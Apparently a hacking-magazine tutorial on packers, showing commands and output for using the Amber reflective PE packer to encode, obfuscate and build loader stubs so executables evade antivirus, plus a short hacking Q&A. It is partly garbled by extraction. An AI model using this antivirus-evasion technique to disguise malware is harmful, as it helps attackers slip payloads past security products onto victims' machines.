> Websites like Have I Been Pwned lists data leaks including email addresses and other information that may have been leaked. If your address has been leaked, it is strongly recom

check your accounts using the same address.

Article First Appeared on the conversation.com

Packers - Encoding & Obfuscation

BYPASSING ANTIVIRUS

Malware authors use many techniques to bypass anti-malware. One of the them is packing. Packing is a method used to obfuscate the code of the malware from anti-malware to prevent its detection and analysis. It achieves this by either compressing or encrypting the malware. Normally packers refer to runtime packers. While packing, the malicious payload (malware) is stored in a packed section of the new malware which is created. While the new payload is executed, the packed section is decompressed and executed in memory. Hence the name runtime packers.

Mostly this execution is done in memory without storing anything on the target system's harddrive. This method is known as In-Memory execution. In-memory execution is stealthy and helps a lot in bypassing anti-malware. Let's see a example of a packer to better understa -nd packers and their working.

Amber is a position-independent(reflective) PE loader that enables in-memory execution of native PE files(EXE, DLL, SYS...). It enables stealthy in-memory payload deployment that can be used to bypass anti-virus, firewall, IDS, IPS products, and application white-listing miti-gations. Reflective payloads generated by Amber can either be staged from a remote server or executed directly in memory much like a generic shellcode. By default, every generated payload is encoded using the new generation SGN encoder. Amber uses CRC32_API and IAT_API for inconspicuously resolving the Windows API function addresses. After the PE file is loaded and executed in memory, the reflective payload is erased for evading memory scan-ners.

Pre-compiled binaries of amber can be donwloaded from here. Once downloaded, extrac -t the contents of the zip archive to unpack contents of Amber. Navigating into the amber dire -ctory will reveal the amber binary.

```
kali@kali:~/amber$ ls
amber_linux_386_3.0
kali@kali:~/amber$ cd amber_linux_386_3.0
kali@kali:~/amber/amber_linux_386_3.0$ ls
amber LICENSE
kali@kali:~/amber/amber_linux_386_3.0$
```

Running the amber binary will show all the options its has.

```
kali@kali:~/amber/amber_linux_386_3.0$ ./amber

///
///
///
Reflective PE Packer × Copyright (c) 2017 EGE BALCI
// v3.0.0 - https://github.com/egebalci/amber

-build
Build EXE stub that executes the generated reflective payload
-e int
Number of times to encode the generated reflective payload (default 1)
```

```
-build

Build EXE stub that executes the generated reflective payload

-e int

Number of times to encode the generated reflective payload (default 1)

-f string

Input PE file

-iat

Use IAT API resolver block instead of CRC API resolver block

-ignore-checks

Ignore integrity check errors.

-max int

Maximum number of bytes for obfuscation (default 5)

-stub string

Use custom stub file (experimental)

kali@kali:~/amber/amber_linux_386_3.0$
```

To work with amber, we need a portable executable. So let's copy the putty.exe executable to the amber directory.

```
kali@kali:/usr/share/windows-binaries$ ls
enumplus fgdump klogger.exe nbtenum plink.exe vncviewer.exe whoami.exe
exe2bat.exe fport mbenum nc.exe radmin.exe wget.exe
```

Now, let's see all the options of amber. The "-f" option is used to input a portable executable (PE) file. Let's give the putty.exe file we just copied as input PE file and run amber as shown below.

```
kali@kali:~/amber/amber_linux_386_3.0$ ls
amber LICENSE putty.exe
kali@kali:~/amber/amber_linux_386_3.0$ ./amber -f putty.exe

///
///
///
///
///
Reflective PE Packer * Copyright (c) 2017 EGE BALCI
//
**v3.0.0 - https://github.com/egebalci/amber

[*] File: putty.exe
[*] Build Stub: false
[*] Encode Count: 1
[*] API: CRC
[*] Final Size: 1114704 bytes
[*] Build File: putty.exe
[*] Reflective PE generated !
kali@kali:~/amber/amber_linux_386_3.0$ [*]
```

By default, amber uses the above shown settings in creating the reflective payload. The encoding is done a single time. This encoding is done by the new generation SGN encoder. SGN is a polymorphic binary encoder which is the reimplementation of the original Shikata Ga Nai except with many new improvements. This helps a lot in creating statically undetectable bina -ry payloads..

Encoding refers to any method of hiding the intent of the malware. i.e the actual p -urpose of the malware. Malware authors many methods to hide what actually the mal -ware is intended to do. Examples of encoding include Exclusive XOR operation on th -e code, Base64 encoding etc.

As already explained, by default amber encodes the reflective payload a single time. This can be increased using the "-e" option as shown below. Here we have specified amber to encode the payload ten times.

```
kali@kali:~/amber/amber_linux_386_3.0$ ./amber -e 10 -f putty.exe

///
///
///
Reflective PE Packer * Copyright (c) 2017 EGE BALCI
// v3.0.0 - https://github.com/egebalci/amber

[*] File: putty.exe
[*] Build Stub: false
[*] Encode Count: 10
[*] API: CRC
[*] Final Size: 1115668 bytes
[*] Build File: putty.exe
[*] Reflective PE generated !
```

To work on Windows, the malware needs to make some Windows API calls. These calls nee -d to be made inconspiciously. In order to hide these API calls from anti-malware, amber use -s CRC32_API by default. This can be seen in the above images.

```
kali@kali:~/amber/amber_linux_386_3.0$ ./amber -iat -f putty.exe

///
///
///
Reflective PE Packer * Copyright (c) 2017 EGE BALCI
// v3.0.0 - https://github.com/egebalci/amber

[*] File: putty.exe
[*] Build Stub: false
[*] Encode Count: 1
[*] API: IAT
[*] Final Size: 1114228 bytes
[*] Build File: putty.exe
[*] Reflective PE generated !
```

We can also specify to use IAT_API to do specify Windows API function addresses. IAT stands for Information Address Table.

Another method malware authors use to hide their malware is known as obfuscation. By

Obfuscation is another method by which malware tries to stay hidden. It is a tech -nique of hiding itself by making the code of the entire malicious payload unreadable. Various techniques of obfuscation include changing names of the files, modifying the file attributes and masquerading as legitimate programs and services etc. Whatever th -e method, the purpose is to make the anti-malware unable to detect or understand the code of the malware.

However, not only malware even makers of some legitimate applications use obfuscation to prevent the applications from being pirated.

default, Amber performs 5 bytes of obfuscation on the malicious payload it generates. It can be further increased or decreased using the "-max" option while setting the integer value. For example, we have set the obfuscation level to 10 here.

```
kali@kali:~/amber/amber_linux_386_3.0$ ./amber -iat -max 10 -f putty.exe

//
//
//
//
Reflective PE Packer * Copyright (c) 2017 EGE BALCI
// v3.0.0 - https://github.com/egebalci/amber

[*] File: putty.exe
[*] Build Stub: false
[*] Encode Count: 1
[*] API: IAT
[*] Final Size: 1114232 bytes
[*] Build File: putty.exe
[*] Reflective PE generated !
```

The "-ignore-checks" option is used to specify Amber to not check for any integrity errors that may rise while creating portable payloads.

```
kali@kali:~/amber/amber_linux_386_3.0$ ./amber -ignore-checks -f putty.exe

///
///
///
Reflective PE Packer * Copyright (c) 2017 EGE BALCI
// v3.0.0 - https://github.com/egebalci/amber

[*] File: putty.exe
[*] Build Stub: false
[*] Encode Count: 1
[*] API: CRC
[*] Final Size: 1114719 bytes
[*] Build File: putty.exe
[*] Reflective PE generated !
kali@kali:~/amber/amber_linux_386_3.0$
```

creates a stub file to execute the reflective PE we generated. The stub is a loader that gets executed before the malware and subsequently loads the malware.

```
kali@kali:~/amber/amber_linux_386_3.0$ ./amber -build -f putty.exe

///
///
///
Reflective PE Packer * Copyright (c) 2017 EGE BALCI
// v3.0.0 - https://github.com/egebalci/amber

[*] File: putty.exe
[*] Build Stub: true
```

```
kali@kali:~/amber/amber_linux_386_3.0$ ls
amber keylogger.exe LICENSE putty.exe
kali@kali:~/amber/amber_linux_386_3.0$ ./amber -build -f putty.exe

///
///
///
///
///
///
Reflective PE Packer * Copyright (c) 2017 EGE BALCI
//
v3.0.0 - https://github.com/egebalci/amber

[*] File: putty.exe
[*] Build Stub: true
[*] Encode Count: 1
[*] API: CRC
[*] Final Size: 1285120 bytes
[*] Build File: putty.exe
[*] Reflective PE generated !
kali@kali:~/amber/amber_linux_386_3.0$ ls
amber keylogger.exe LICENSE putty.exe
putty_packed.exe
```

This will create the stub file named putty_packed.exe which acts as a loader for our maliciou -s payload. These options are not just of Amber but will be similar for most packers. We hope our readers have understood the concepts of encoding, obfuscation and the role of packing in the context of undetectable malware.

HACKING Q & A

Q : What can a grey hat hacker do that a white hat or black hat hacker cannot do?

A: Just for a starter, assuming all the three hackers have the same amount of knowledge, a black hat hacker is a hacker who uses his knowledge of hacking for malicious purposes. A white Hat hacker uses his knowledge for a good purpose, i.e protecting the network or system, from being hacked by black hat hackers.

Now coming to the Grey Hat hacker, he is the one who uses his knowledge for both good and malicious purpose. Now coming to your question as to what a gray hat hacker can do that a black hat or white hat hacker can't do, he can do anything they can do sinc -e we have assumed all these three types of hackers. The difference is not in their level of knowledge but their intention to do good or bad.

Q : Why do some websites say "Your

connection is not private. Attackers might be trying to steal your information".

A: This happens on websites that do not have HTTPS enabled on their site and you are submitting some information to the website. On a HTTP website, any data you enter is transferred in plain text and hence can be viewed by any one who has intercepted the connection. Hence the above warning. To overcome this, HTTPS is now mandatory to all the websites. HTTPS stands for Hyper Text Transfer Protocol over Secure Sockets Layer (SSL) where the transferring data is encrypted so that if any attacker even gets hold of the data, it will be in a format which he doen't understand.

Send all your questions regarding hacking to editor@ hackercoolmagazine.com

SOME USEFUL RESOURCES

<u>Check whether your email is a part of any data breach now.</u> https://haveibeenpwned.com

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